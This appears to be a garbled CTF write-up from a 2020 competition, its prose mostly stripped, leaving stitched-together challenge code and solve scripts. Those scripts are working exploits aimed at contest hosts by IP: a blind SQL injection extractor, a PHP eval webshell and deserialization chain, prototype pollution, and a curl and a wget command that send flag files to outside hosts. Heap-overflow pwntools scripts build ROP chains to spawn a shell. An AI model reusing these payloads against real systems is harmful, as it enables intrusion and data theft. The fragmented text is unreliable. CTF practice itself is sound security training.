def __str__(self):
filename = self.GetFileName()
if '..' in filename or 'proc' in filename:
return "quanbumuda"
else:
try:
file = open("/tmp/" + filename, 'r')
content = file.read()
file.close()
return content
except:
return "error"
def __init__(self, data):
if re.match(r'file=.*?&vipcode=.*?',data) != None:
data = data.split('&')
data = {
data[0].split('=')[0]: data[0].split('=')[1],
data[1].split('=')[0]: data[1].split('=')[1]
}
if 'file' in data.keys():
self.file = File(data['file'])
if 'vipcode' in data.keys():
self.vipcode = data['vipcode']
self.vip = vip()
def test(self):
if 'file' not in dir(self) or 'vipcode' not in dir(self) or 'vip' not
in dir(self):
return False
else:
return True
def isvip(self):
if self.vipcode == self.vip.GetCode():
return True
else:
return False
def GetFileName(self):
return self.file.GetName()
current_folder_file = []
fl4g
file, f, fl4gf,
dooog
cmd
class vipreadfile():
def __init__(self,readfile):
self.filename = readfile.GetFileName()
self.path = os.path.dirname(os.path.abspath(self.filename))
self.file = File(os.path.basename(os.path.abspath(self.filename)))
global current_folder_file
try:
current_folder_file = os.listdir(self.path)
except:
current_folder_file = current_folder_file
def __str__(self):
if 'fl4g' in self.path:
return 'nonono,this folder is a secret!!!'
else:
output = '''Welcome,dear vip! Here are what you want:\r\nThe file
you read is:\r\n'''
filepath = (self.path + '/{vipfile}').format(vipfile=self.file)
output += filepath
output += '\r\n\r\nThe content is:\r\n'
try:
f = open(filepath,'r')
content = f.read()
f.close()
except:
content = 'can\'t read'
output += content
output += '\r\n\r\nOther files under the same folder:\r\n'
output += ' '.join(current_folder_file)
return output
Other files under the same folder:
__pycache__ __init__.py vip.py readfile.py%d
http%3A%2F%2F127.0.0.1%3A8080%2Fread%2Ffile%3D{vipfile.file[0]}l4g_1s_h3re_u_w
i11_rua%2fflag%26vipcode%3Dm3O5PGEBMnbX0N8ugWlIoijtFaS9KsqVAQdvZyT1cheCxpwf
if int(time.time()) - data['timestamp'] < 60:
if cmd not in ['whoami', 'ls']:
return 'cmd error'
nweb
from toolkit import AESCipher
import os
import requests
import json
import time
import base64
import requests
cryptor = AESCipher('00000000')
authenticator = cryptor.encrypt(json.dumps(
{'username': 'Q7', 'timestamp': int(time.time())}))
au = base64.b64encode(authenticator)
print au
tgt = requests.post('http://121.37.164.32:5001/getTGT',
data={'username': 'Q7', 'authenticator': au}).content
print tgt
session_key, tgt = cryptor.decrypt(
base64.b64decode(tgt.split('|')[0])), tgt.split('|')[1]
cryptor = AESCipher(session_key)
authenticator = base64.b64encode(cryptor.encrypt(json.dumps(
{'username': 'Q7', 'timestamp': int(time.time())-100})))
res = requests.post('http://121.37.164.32:5001/getTicket', data={
'username': 'Q7', 'authenticator': authenticator, 'TGT':
tgt, 'cmd': '''curl q71998.cn:2333 -d `/readflag` '''}).content
print res
client_message, server_message = res.split('|')
session_key = cryptor.decrypt(base64.b64decode(client_message))
cryptor = AESCipher(session_key)
authenticator = base64.b64encode(cryptor.encrypt("Q7"))
res = requests.post('http://121.37.164.32:5002/cmd',
data={'server_message': server_message, 'authenticator':
authenticator}).content
print res
POST /regist.php HTTP/1.1
Host: 121.37.179.47:1001
Proxy-Connection: keep-alive
Content-Length: 48
Cache-Control: max-age=0
Origin: http://121.37.179.47:1001
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
type110flag.php
from :
flagroute-mysql-serverflag.phpflag
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/
*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://121.37.179.47:1001/regist.html
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8
Cookie: PHPSESSID=tcs09hisk755fbv2b46u6h4p23;
username=f81f10e631f3c519d5a44d8da976fb67
email=veneno3a&pass=veneno&repass=veneno&type=110
import requests
import string
url = "http://121.37.179.47:1001/search.php"
payloads = string.ascii_letters
payloads += ',_0123456789{}-*()!'
headers = {"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "PHPSESSID=urssuvhp9tuns63f6uk04lgca2;
username=a006f0bdc1748c5db6cb5dac8f81680d",
}
result = ''
for i in range(1, 200):
for payload in payloads:
payload = ord(payload)
res = requests.post("http://121.37.179.47:1001/search.php",
headers=headers,
data="flag='and+if((selefromct+ascii(substr(flag,%s,1))+x+frfromom+fl4g+limit
+1)='%s',exp(710),1)#" % (i, payload))
if res.status_code == 500:
result += chr(payload)
print(result)
break
if payload == ord('!'):
raise Exception("over")
PHP-UAF
https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass
...include
sqlcheckin
password 1'-'1
nothardweb
key
Payload:
<?php
error_reporting(0);
session_start();
//-is-nday} flag
hintphp
I left a shell in 10.10.1.12/index.php
try to get it!
<!-- maybe something useful
\<?php
if(isset($_GET['cc'])){
$cc = $_GET['cc'];
eval(substr($cc, 0, 6));
}
else{
highlight_file(__FILE__);
}
?\>-->
<?php
$keys = array(.......) // key50
$cipher =
base64_decode('d1FJSkpiNnpncTE0WG5IRmFsL0VWYUduMlZKc3RVRUdmU0kzeG03Yk5rRmQrS0d
wK1h4OERrRy9iWUZlVmhlbw==');
$iv = "\x00\x00\x00\x00\x00\x00\x00\x00";
$plain = 'O:4:"User":1:{s:8:"username";s:5:"guest";}';
$target = 'O:10:"SoapClient":4:
{s:3:"uri";s:3:"bbb";s:8:"location";s:41:"http://10.10.1.12/index.php/?
cc=echo%202;";s:13:"_soap_version";i:1;s:8:"username";s:5:"admin";}';
// for ($key = 0; $key < 524287; $key++) {
// $des_key = strval($keys[$key]);
soapshell /hint :
socks5tomcatputshellflag
happyvacation
git
// $uid = openssl_decrypt($cipher, 'des-cbc', $des_key, 0, $iv);
// if ($plain[40] == $uid[40]) {
// print_r($des_key);
// print_r($uid);
// }
// }
$key = strval(94675148);//
$p = openssl_decrypt($cipher, 'des-cbc', $key, 0, $iv);
print_r($p."<br/>");
$iv = "";
for ($i = 0; $i < 8; $i++) {
$iv .= chr(ord($p[$i]) ^ ord($plain[$i]));
}
print_r($iv."<br />");
$hash = md5($target);
print_r($hash."<br/>");
$c = openssl_encrypt($target, 'des-cbc', $key, 0, $iv);
// print_r($c."<br/>");
print_r(base64_encode($c)."<br/>");
clone quiz.php?
answer=user->uploader->black_list getshell
GuessGame
var config = {
"forbidAdmin" : true,
//"enableReg" : true
};
var loginHistory = [];
var adminName = "admin888";
var flag = "************";
app.get('/', function (req, res) {
res.render("index");
});
//So terrible code~
app.post('/',function (req, res) {
if(typeof req.body.user.username != "string"){
res.end("error");
}else {
if(config.forbidAdmin && req.body.user.username.includes("admin")){
res.end("any admin user has been baned");
}else {
if(req.body.user.username.toUpperCase() ===
adminName.toUpperCase())
//only log admin's activity
log(req.body.user);
res.end("ok");
}
}
});
app.get('/log', function (req,res) {
if(loginHistory.length==0){
res.end("no log");
}else {
res.json(loginHistory);
}
});
app.get('/verifyFlag', function (req, res) {
res.render("verifyFlag");
});
app.post('/verifyFlag',function (req,res) {
//let result = "Your match flag is here: ";
let result = "Emm~ I won't tell you what happened! ";
if(typeof req.body.q != "string"){
res.end("please input your guessing flag");
}else{
let regExp = req.body.q;
if(config.enableReg && noDos(regExp) && flag.match(regExp)){
//res.end(flag);
//Stop your wishful thinking and go away!
}
if(req.query.q === flag)
result+=flag;
res.end(result);
}
});
function noDos(regExp) {
//match regExp like this will be too hard
return !(regExp.length>30||regExp.match(/[)]/g).length>5);
}
function log(userInfo){
let logItem = {"time":new Date().toString()};
merge(logItem,userInfo);
loginHistory.push(logItem);
}
#!/usr/bin/python
# -*- coding: UTF-8 -
import requests, sys
from time import time,sleep
prefix = ''
depth = 2
if len(sys.argv) >= 3:
depth = int(sys.argv[2])
prefix = sys.argv[1]
elif len(sys.argv) >= 2:
depth = int(sys.argv[1])
suffix = '(' * depth + '.' + '*)' * depth + '!'
testcase = ""
for i in range(32,128):
if chr(i) in ['*','(',')','?','+','\\','[','^','.']:
continue
testcase+=chr(i)
r = []
session = requests.Session()
for c in testcase:
session.post('http://121.37.167.12:82', json = {"user":
{"username":"admın888", "__proto__": {"enableReg": True}}})
begin = time()
result = session.post('http://121.37.167.12:82/verifyFlag', json = {
'q': prefix + c + suffix
})
r.append([c, time() - begin])
sleep(0.1)
print(prefix + c + suffix)
print(len(prefix + c + suffix))
print(result.text)
r = sorted(r, key = lambda x: x[1])
for d in r[::-1][:3]:
print('[*] {} : {}'.format(d[0], d[1]))
#!/usr/bin/python
# -*- coding: UTF-8 -
import requests, sys
from time import time,sleep
prefix = ''
depth = 2
if len(sys.argv) >= 3:
depth = int(sys.argv[2])
prefix = sys.argv[1]
elif len(sys.argv) >= 2:
depth = int(sys.argv[1])
prefix2 = '(' * depth
suffix = ')*' * depth
testcase = ""
for i in range(32,128):
if chr(i) in ['*','(',')','?','+','\\','[','^','.']:
continue
testcase+=chr(i)
session = requests.Session()
session.post('http://121.37.167.12:82', json = {"user":{"username":"admın888",
"__proto__": {"enableReg": True}}})
r = []
for c in testcase:
begin = time()
result = session.post('http://121.37.167.12:82/verifyFlag', json = {
'q': prefix + prefix2 + '[^{}]'.format(c) + suffix + '!'
})
r.append([c, time() - begin])
sleep(0.1)
print(prefix + prefix2 + '[^{}]'.format(c) + suffix + '!')
print(len(prefix + prefix2 + '[^{}]'.format(c) + suffix + '!'))
print(result.text)
r = sorted(r, key = lambda x: x[1])
g3tF1AAGaEz1Y
g3tF1AGEazYg3tF1AGEAzY
AGaEz1Yflagflag:g3tF1aAGEAzY
hardphp
XNUCAphp
phpuserControllersession
for d in r[:15]:
print('[*] {} : {}'.format(d[0], d[1]))
POST /?c=user&a=login HTTP/1.1
Host: 127.0.0.1:8888
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Cookie: PHPSESSID=8ce8a0c31317274b96eb0bd9bfb212bc
Connection: close
username=asaasasas&password=123456&HTTP_X_FORWARDED_FOR[',data%3d's'%23]=123
BaseController
sessionsession_set_save_handlerread
[$_SESSION]
sessionallowed_classes
Uploadwrite
waf <?php <? save
$var_1=['session.save_handler','user'];
$var_2=['ini_set',$var_1];
call_user_func_array($var_2);
$var_3=new MySessionHandler();
$var_4=[$var_3,True];
$var_5=['session_set_save_handler',$var_4];
call_user_func_array($var_5);
public function write($var_6,$var_7) {
if($this-> {
'waf'
}
($var_6)) {
return file_put_contents($var_7,$var_6)!==None;
}
return False;
}
public function save($var_23,$var_22) {
$var_24=APP_DIR.DS.$this-> {'savePath'}.$var_22;
$var_6=file_get_contents($var_23);
if($this-> {'write'}($var_6,$var_24)) {
$var_27=DS.$this-> {'savePath'}.$var_22;
save Logger
XNUCApayload
<?php
class Logger {
protected $err = [];
protected $handle;
public function __construct() {
$this->{'handle'} = new LogDriver();
}
public function add($var_1, $var_2 = null) {
$this->{'err'}[time() ] = ['data' => $var_1, 'type' => $var_2];
}
public function __destruct() {
if (count($this->{'err'})) {
foreach ($this->{'err'} as $var_7 => $var_8) {
$this->{'handle'}->{'save'}($var_7, $var_8);
}
}
}
}
<?
echo 'ok';
eval($_GET[1]);
?>
<?php
define('DS','/');
define('APP_DIR','/var/www/html/');
spl_autoload_register('inner_autoload');
function inner_autoload($class){
$class = str_replace("\\","/",$class);
foreach(array('model','include','controller') as $dir){
$file = './'.$dir.'/'.$class.'.php';
if(file_exists($file)){
include $file;
return;
}
}
}
class Logger {
protected $err = [];
protected $handle;
public function __construct() {
Crypto
NHP
$this->handle = new Upload(1,2);
$this->err =
['/var/www/html/img/upload/3c9pg88km5ndiva7xrm69d4rh07zezen.png'=>'nu1l666_777
.php'];
}
}
$_SESSION['data'] =
urldecode('O%3A7%3A%22Session%22%3A4%3A%7Bs%3A5%3A%22%00%2A%00ip%22%3BN%3Bs%3A
12%3A%22%00%2A%00userAgent%22%3BN%3Bs%3A9%3A%22%00%2A%00userId%22%3BN%3Bs%3A12
%3A%22%00%2A%00loginTime%22%3BN%3B%7D');
$a = new Logger();
echo "\n\n";
$c = serialize($a);
$d = urlencode($c);
$e = str_replace("%00","',0x00,'",$d);
echo 'HTTP_X_FORWARDED_FOR[,data%3dconcat(\'data|'.$e.'\')%23]=123';
echo "\n\n";
?>
#!/usr/bin/env sage
from Crypto.Util.number import long_to_bytes
import socket, telnetlib, hashlib, random, itertools
#HOST, PORT = 'localhost', 9999
HOST, PORT = '121.37.174.33', 10000
s = socket.socket()
s.connect((HOST, PORT))
f = s.makefile('rw', 0)
def recv_until(f, delim='\n'):
buf = ''
while not buf.endswith(delim):
buf += f.read(1)
return buf
def proof_of_work(suffix, chal):
for comb in itertools.product(range(256), repeat=3):
m = ''.join(map(chr, comb))
if hashlib.sha256(m + suffix).hexdigest() == chal:
return m
raise Exception("Not found...")
recv_until(f, ' + ')
suffix = recv_until(f, ')')[:-1].decode('hex')
recv_until(f, ' == ')
chal = recv_until(f, '\n').strip()
m = proof_of_work(suffix, chal)
recv_until(f, 'hex: ')
f.write(m.encode('hex') + '\n')
recv_until(f, 'p = ')
p = ZZ(recv_until(f, '\n'))
recv_until(f, 'q = ')
q = ZZ(recv_until(f, '\n'))
recv_until(f, 'g = ')
g = ZZ(recv_until(f, '\n'))
recv_until(f, 'y = ')
y = ZZ(recv_until(f, '\n'))
print 'Parameters received...'
def sign(name):
recv_until(f, '$ ')
f.write('1\n')
recv_until(f, 'username: ')
f.write(name + '\n')
recv_until(f, ' == ')
bitlen = ZZ(recv_until(f, '\n').strip())
recv_until(f, 'hex: ')
sig = recv_until(f, '\n').strip().decode('hex')
r, s = map(lambda x: ZZ(int(x.encode('hex'), 16)),
[sig[len(name):len(name)+20], sig[len(name)+20:len(name)+40]])
return bitlen, r, s
def verify(sig):
recv_until(f, '$ ')
f.write('2\n')
recv_until(f, 'signature: ')
f.write(sig + '\n')
return
H = lambda m: ZZ(int(hashlib.sha256(m).hexdigest(), 16))
d = 30
msg = 'user'
t, u = [], []
print 'Collecting signatures...'
lancet
LSB Oracle
while len(t) < d:
bl, r0, s0 = sign(msg)
if bl >= 120: continue
t_i = (r0 * inverse_mod(s0, q)) % q
u_i = (2 ^ (bl + 1) - H(msg) * inverse_mod(s0, q)) % q
t.append(t_i)
u.append(u_i)
print "Collected: %d / %d" % (len(t), d)
def solve_hnp(p, k, d, t, u):
M = Matrix(QQ, d + 1, d + 1)
for i in xrange(d):
M[i, i] = p
M[d, i] = t[i]
M[d, d] = 1 / (2 ** (k + 1))
def babai(A, w):
A = A.LLL(delta=0.75)
G = A.gram_schmidt()[0]
t = w
for i in reversed(range(A.nrows())):
c = ((t * G[i]) / (G[i] * G[i])).round()
t -= A[i] * c
return w - t
closest = babai(M, vector(u + [0]))
return (closest[-1] * (2 ** (k + 1))) % p
x = solve_hnp(q, 8, d, t, u)
def dsa_sign(m, x, q, p, g):
h = H(m)
k = random.randint(1, q - 1)
r = ZZ(pow(g, k, p)) % q
s = ZZ((inverse_mod(k, q) * (h + x * r)) % q)
return m.encode('hex') + r.hex().rjust(40, '0') + s.hex().rjust(40, '0')
sig = dsa_sign('admin', x, q, p, g)
verify(sig)
t = telnetlib.Telnet()
t.sock = s
t.interact()
from pwn import *
import gmpy2, base64
from Crypto.Util.number import bytes_to_long, long_to_bytes
p = remote('121.37.174.33', 9999)
p.recvuntil('Welcome to RSA WORLD !!!')
p.recvuntil('n:')
n = int(p.recvline().strip())
p.recvuntil('e:')
e = int(p.recvline().strip())
p.recvuntil('flag:')
flag = int(p.recvline().strip())
log.info(hex(n))
log.info(hex(e))
log.info(hex(flag))
def encrypt(m):
p.recvuntil('you can choose what you want here\n')
p.sendline('1')
p.recvuntil('send how long you want to encrypt\n')
p.sendline(str(len(base64.b64encode(m))))
p.recvuntil('send the message in base64 encode\n')
p.sendline(base64.b64encode(m))
p.recvuntil('res:')
res = int(p.recvline().strip().decode('base64'))
return res
def decrypt(c):
p.recvuntil('you can choose what you want here\n')
p.sendline('2')
p.recvuntil('send how long you want to decrypt\n')
print len(c), len(base64.b64encode(c))
if (len(base64.b64encode(c)) >= 100):
p.send(str(len(base64.b64encode(c))))
else:
p.sendline(str(len(base64.b64encode(c))))
p.recvuntil('send the message in base64 encode\n')
p.sendline(base64.b64encode(c))
p.recvuntil('res:')
res = int(p.recvline().strip())
#res = int(p.recvline().strip().decode('base64'))
return res
upper_limit = n / (2 ** 1024)
lower_limit = 0
i = 1025
# for 1024 bit n
while i <= 2048:
chosen_ct = long_to_bytes(flag*pow(2**i, e, n) % n)
Misc
ez_mem&usb
xp
output = decrypt(chosen_ct)
if output == 0:
upper_limit = (upper_limit + lower_limit)/2
elif output == 1:
lower_limit = (lower_limit + upper_limit)/2
else:
raise Exception
i += 1
print lower_limit, upper_limit
# Decrypted ciphertext
print long_to_bytes(upper_limit)
# acdxvfsvd @ ubuntu in ~/gxzyctf2020 [6:31:53]
$ volatility -f data.vmem --profile=WinXPSP2x86 consoles
Volatility Foundation Volatility Framework 2.6
**************************************************
ConsoleProcess: csrss.exe Pid: 464
Console: 0x5528d8 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferMax: 4
OriginalTitle: ?????
Title: ?????
AttachedProcess: cmd.exe Pid: 1396 Handle: 0x504
----
CommandHistory: 0x556bb8 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 2 LastAdded: 1 LastDisplayed: 1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x504
Cmd #0 at 0x3609ea0: passwd:weak_auth_top100
Cmd #1 at 0x5576d0: start wireshark
----
Screen 0x3607750 X:80 Y:300
Dump:
Microsoft Windows XP [???? 5.1.2600]
(C) ???????? 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator>passwd:weak_auth_top100
????????????????????????????????
zip
weak_auth_top100
C:\Documents and Settings\Administrator>start wireshark
?????????????? wireshark??
C:\Documents and Settings\Administrator>
**************************************************
ConsoleProcess: csrss.exe Pid: 464
Console: 0x55ae98 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferMax: 4
OriginalTitle: ?U?UtemRoot%\system32\defrag.exe
Title: ?U??INDOWS\system32\defrag.exe
**************************************************
ConsoleProcess: csrss.exe Pid: 464
Console: 0x983e98 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferMax: 4
OriginalTitle: ?U?UtemRoot%\system32\defrag.exe
Title: ?U??INDOWS\system32\defrag.exe
----
CommandHistory: 0x55af9c Application: ?U?U2B> Flags:
CommandCount: -20568 LastAdded: 85 LastDisplayed: 1
FirstCommand: 4 CommandCountMax: 50
ProcessHandle: 0x3e
# acdxvfsvd @ ubuntu in ~/gxzyctf2020 [6:36:22]
$ volatility -f data.vmem --profile=WinXPSP2x86 filescan | grep flag
Volatility Foundation Volatility Framework 2.6
0x0000000001155f90 1 0 R--rwd \Device\HarddiskVolume1\Documents and
Settings\Administrator\flag.img
00:00:09:00:00:00:00:00
00:00:0F:00:00:00:00:00
00:00:04:00:00:00:00:00
00:00:0A:00:00:00:00:00
00:00:2F:00:00:00:00:00
00:00:23:00:00:00:00:00
00:00:26:00:00:00:00:00
00:00:1F:00:00:00:00:00
00:00:27:00:00:00:00:00
00:00:27:00:00:00:00:00
00:00:25:00:00:00:00:00
usb
TOGETYOURFLAG
zipwav
....
MP3Stego...
187485618521
00:00:20:00:00:00:00:00
00:00:22:00:00:00:00:00
00:00:24:00:00:00:00:00
00:00:25:00:00:00:00:00
00:00:21:00:00:00:00:00
00:00:08:00:00:00:00:00
00:00:06:00:00:00:00:00
00:00:20:00:00:00:00:00
00:00:08:00:00:00:00:00
00:00:07:00:00:00:00:00
00:00:25:00:00:00:00:00
00:00:07:00:00:00:00:00
00:00:1F:00:00:00:00:00
00:00:04:00:00:00:00:00
00:00:23:00:00:00:00:00
00:00:21:00:00:00:00:00
00:00:08:00:00:00:00:00
00:00:24:00:00:00:00:00
00:00:20:00:00:00:00:00
00:00:09:00:00:00:00:00
00:00:08:00:00:00:00:00
00:00:26:00:00:00:00:00
00:00:1E:00:00:00:00:00
00:00:20:00:00:00:00:00
00:00:06:00:00:00:00:00
00:00:27:00:00:00:00:00
00:00:30:00:00:00:00:00
USEBASE64
MTg3NDg1NjE4NTIx
USEBASE64
base64
gmon.out0x401XXXvmp
strcmp0flag
x64dbgflag
MISC
Apk
GetFlag
HmacwgetUAGNU Wget
import hmac
from hashlib import sha1
from pwn import *
def hmacsha1(k,s):
hashed = hmac.new(k, s, sha1)
return hashed.hexdigest()
def send_p(s,k):
message = {"message":s,"check":hmacsha1(k,s)}
return str(message)
p = remote('212.64.66.177',8080)
# p = remote('127.0.0.1',8080)
k = int(p.recvline()[:-1])
Pwn
Shotest_Path_v2
# payload = "--body-file=/data/data/com.xuanxuan.getflag/files/flag
66.42.44.232:23333"
payload = "66.42.44.232:23333 --body-
file=/data/data/com.xuanxuan.getflag/files/flag --method=HTTPMethod"
p.sendline(send_p(payload,str(k)))
p.interactive()
#!/usr/bin/env python3
#-*- coding: utf-8 -*-
from pwn import *
# flag{SPFA_1s_4_9o0d_A1gorithm}
context.arch= 'amd64'
r = lambda x: p.recvuntil(x,drop=True)
s = lambda x,y: p.sendafter(x,y)
sl = lambda x,y : p.sendlineafter(x,y)
HOST,PORT = '121.37.181.246',19008
p = remote(HOST,PORT)
# p = process('./Shortest_path')
e = ELF("./Shortest_path")
def alloc(idx,p,l,name,n,ids=[],dis=[]):
sl('---> ',str(1))
sl('ID: ',str(idx))
sl('Price: ',str(p))
sl('Length: ',str(l))
sl('Name: \n',name)
sl('station: ',str(n))
for i in range(n):
sl('ID: ',str(ids[i]))
sl('distance: ',str(dis[i]))
def rem(idx):
sl('---> ',str(2))
sl('ID: ',str(idx))
def queryst(idx):
sl('---> ',str(3))
sl('ID: ',str(idx))
twochunk
def queryro(sid,tid):
sl('---> ',str(4))
sl('ID: ',str(sid))
sl('ID: ',str(tid))
alloc(0,0,0x17,'\0'*0x17,0)
alloc(1,1,0x27,'\0'*0x17,0)
for i in range(0x2,0x11):
alloc(i,i,0x17,'\0'*0x17,1,[i+1],[-1])
alloc(0x11,0x11,0x17,'\0'*0x17,1,[2],[-1])
rem(0)
rem(1)
queryro(0x2,0x11)
alloc(0x12,0x12,0x10,p64(0)+p64(0x6068E0),0)
queryst(0)
p.interactive()
#!/usr/bin/env python3
#-*- coding: utf-8 -*-
from pwn import *
# flag{Th1s_1s_the_flag_0f_tw0chunk}
context.arch= 'amd64'
r = lambda x: p.recvuntil(x,drop=True)
s = lambda x,y: p.sendafter(x,y)
sl = lambda x,y : p.sendlineafter(x,y)
# p = process('./twochunk')
HOST,PORT = '121.36.209.145',9999
p = remote(HOST,PORT)
l = ELF('/lib/x86_64-linux-gnu/libc-2.30.so')
e = ELF("./twochunk")
s('name: ',p64(0x23333020)*6)
s('message: ',p64(0x23333020)*8)
def add(idx,sz):
s('choice: ',str(1))
s('idx: ',str(idx))
s('size: ',str(sz))
def free(idx):
s('choice: ',str(2))
s('idx: ',str(idx))
def show(idx):
s('choice: ',str(3))
s('idx: ',str(idx))
def edit(idx,cnt):
s('choice: ',str(4))
s('idx: ',str(idx))
s('content: ',cnt)
def sshow():
s('choice: ',str(5))
def leave(msg):
s('choice: ',str(6))
s('message: ',msg)
def bback():
s('choice: ',str(7))
# leaking libc
# add(0,0x228)
# for i in range(0x7):
# add(1,0x228)
# free(1)
# free(0)
# add(1,23333)
# show(1)
# l.address = u64(p.recv(8))-0x1eaf00
# log.info('l.address:'+hex(l.address))
for i in range(5):
add(0,0x88)
free(0)
# construce smallbins chain
add(0,0x128)
for i in range(0x7):
add(1,0x128)
free(1)
free(0)
add(1,0x98)
free(1)
add(0,0xe9)
musl
add(1,0xe9)
free(0)
free(1)
add(0,0x138)
for i in range(0x7):
add(1,0x138)
free(1)
free(0)
add(1,0xa8)
free(1)
# leaking heap
add(1,23333)
show(1)
heap = u64(p.recv(8))-0xef0
log.info('heap:'+hex(heap))
add(0,0x200)
free(0)
# tcache_put
payload = 0x108*'\x00'
payload += p64(0xb1)
payload += '\x00'*0x98+p64(0x91)
payload += p64(heap+0x600)+p64(0x23332ff0)
edit(1,payload)
add(0,0x88)
# leaking libc
sshow()
r('message: ')
l.address = u64(p.recvuntil('\n',drop=True).ljust(0x8,'\0'))-0x1eac60
log.info('l.address:'+hex(l.address))
system = l.symbols['system']
log.info('system:'+hex(system))
leave(p64(system)+'/bin/sh\x00'+4*p64(0)+p64(0x23333008)+0x48*'\0')
# getshell
bback()
p.interactive()
#!/usr/bin/env python3
#-*- coding: utf-8 -*-
from pwn import *
# flag{It_1s_n0t_0ur_3nemi3s_that_def3at_us_It_1s_0ur_f3ar_POE}
context.arch= 'amd64'
r = lambda x: p.recvuntil(x,drop=True)
s = lambda x,y: p.sendafter(x,y)
sl = lambda x,y : p.sendlineafter(x,y)
# p = process('./carbon')
HOST,PORT = '119.3.158.103',19008
p = remote(HOST,PORT)
e = ELF("./carbon")
def add(sz,cnt,bel='N'):
sl('> ',str(1))
sl('>',str(sz))
sl('>',bel)
s('>',cnt)
def dele(idx):
sl('> ',str(2))
sl('>',str(idx))
def edit(idx,cnt):
sl('> ',str(3))
sl('>',str(idx))
p.send(cnt)
def show(idx):
sl('> ',str(4))
sl('>',str(idx))
# leaking libc
add(0x68,'0'*0x68)
add(0x68,'1'*0x68)
add(0x68,'2'*0x68)
add(0x68,'3'*0x68)
add(0x68,'4'*0x68)
dele(0)
add(0x8,'0'*0x8)
show(0)
r('0'*0x8)
libc = u64(r('Done').ljust(0x8,b'\0'))-0x292b08
log.info('libc:'+hex(libc))
mmap = libc+0x290000
log.info('mmap:'+hex(mmap))
environ = libc+0x294fd8
log.info('environ:'+hex(environ))
lgd
off by one + seccomp ban execveadd rsp,0x48;ret;orw
# dele(1)
dele(2)
# unlink
payload = p64(0x91)+p64(0x70)
payload += p64(mmap+0x28-0x18)+p64(mmap+0x28-0x10)
payload += b'\x00'*0x50
payload += p64(0x70)+p64(0x81)
add(0x68,payload+b'\n','Y')
dele(3)
edit(2,p32(0x602034)+b'\x00\x00\x00\n')
edit(1,p32(0x0)+b'\n')
#leaking stack
edit(2,p64(environ)[0:6]+b'\n')
show(1)
stack = u64(r('Done').ljust(0x8,b'\0'))
log.info('stack:'+hex(stack))
edit(2,p64(stack-0x70)[0:6]+b'\n')
# z()
edit(1,p64(libc+0x390D1)[0:6]+b'\n')
p.interactive()
from pwn import *
#r = process('./lgd')
r = remote('121.36.209.145',9998)
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
def add(size,content):
r.recvuntil(">> ")
r.sendline("1")
r.recvuntil("______?")
r.sendline(str(size))
r.recvuntil("start_the_game,yes_or_no?")
r.send(content)
def free(index):
r.recvuntil(">> ")
r.sendline("2")
r.recvuntil("index ?")
r.sendline(str(index))
def show(index):
r.recvuntil(">> ")
r.sendline("3")
r.recvuntil("index ?\n")
r.sendline(str(index))
def edit(index,content):
r.recvuntil(">> ")
r.sendline("4")
r.recvuntil("index ?")
r.sendline(str(index))
r.recvuntil("_**c___r__s**++___c___new_content ?")
r.send(content)
r.recvuntil("son call babaaa,what is your name?")
payload = 'a'*0x10 + p64(0x4023ad)+p64(0x603060)
r.sendline(payload)
##leak
add(0x98,'a'*0x98) #0
add(0x18,'b'*0x18) #1
free(0) #-0
add(0x98,'a'*0x98) #0
show(0)
x = r.recvuntil("\n")[:-1]
libc = u64(x.ljust(8,'\x00')) -0x7ff5ad02fb78+0x7ff5acc6b000
add(0x18,'c'*0x18) #2
free(1) #-1
free(2) #-2
add(0x18,'d'*0x18) #1
show(1)
x = r.recvuntil("\n")[:-1]
heap = u64(x.ljust(8,'\x00')) -0xa0
print("libc:"+hex(libc))
print("heap:"+hex(heap))
free(1)
##off by one
add(0x28,'a'*0x28) #1
add(0x28,'b'*0x28) #2
add(0x68,'c'*0x68) #3
add(0x68,'d'*0x68) #4
add(0x68,'f'*0x68) #5
edit(3,'a'*8+p64(0x41))
free(5)
free(4)
free(3)
edit(1,'d'*0x28+'\x41')
free(2)
add(0x38,'a'*0x38) #2
easyheap
malloc_hook = 0x7ffff7dd1b10-0x7ffff7a0d000+libc
edit(2,'a'*0x28+p64(0x71)+p64(malloc_hook-0x23))
add(0x68,'a'*0x68)#3
pop_rdi = 0x4023b3
flag_addr = 0x603060
pop_rsi = libc+0x0202e8
pop_rdx = libc+0x1b92
open_addr = libc+0x0f7030
read_addr = libc+0x0f7250
write_addr = libc+0x0f72b0
payload2 = './flag'.ljust(0x18,'\x00')+p64(pop_rdi) +
p64(flag_addr)+p64(pop_rsi) + p64(0) + p64(open_addr)
payload2 +=
p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0x603060+0x100)+p64(pop_rdx)+p64(100)+p64
(read_addr)
payload2 +=
p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(0x603060+0x100)+p64(pop_rdx)+p64(100)+p64
(write_addr)
add(0x68,'aaa')#4
add(0x200,payload2)
edit(4,'d'*0x13+p64(libc+0x0143671)) #add rsp,0x48;ret;
r.recvuntil(">> ")
r.sendline("1")
r.recvuntil("______?")
r.sendline('222')
r.interactive()
from pwn import *
from docker_debug import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
def add(p, size, buf):
p.recvuntil('Your choice:')
p.sendline('1')
p.recvuntil('How long is this message?')
p.sendline(str(size))
if size > 0x400:
p.recvuntil('Too much size!')
return
p.recvuntil('What is the content of the message?')
p.send(buf)
p.recvuntil('Add successfully.')
def delete(p, idx):
p.recvuntil('Your choice:')
p.sendline('2')
p.recvuntil('What is the index of the item to be deleted?\n')
p.sendline(str(idx))
def edit(p, idx, buf):
p.recvuntil('Your choice:')
p.sendline('3')
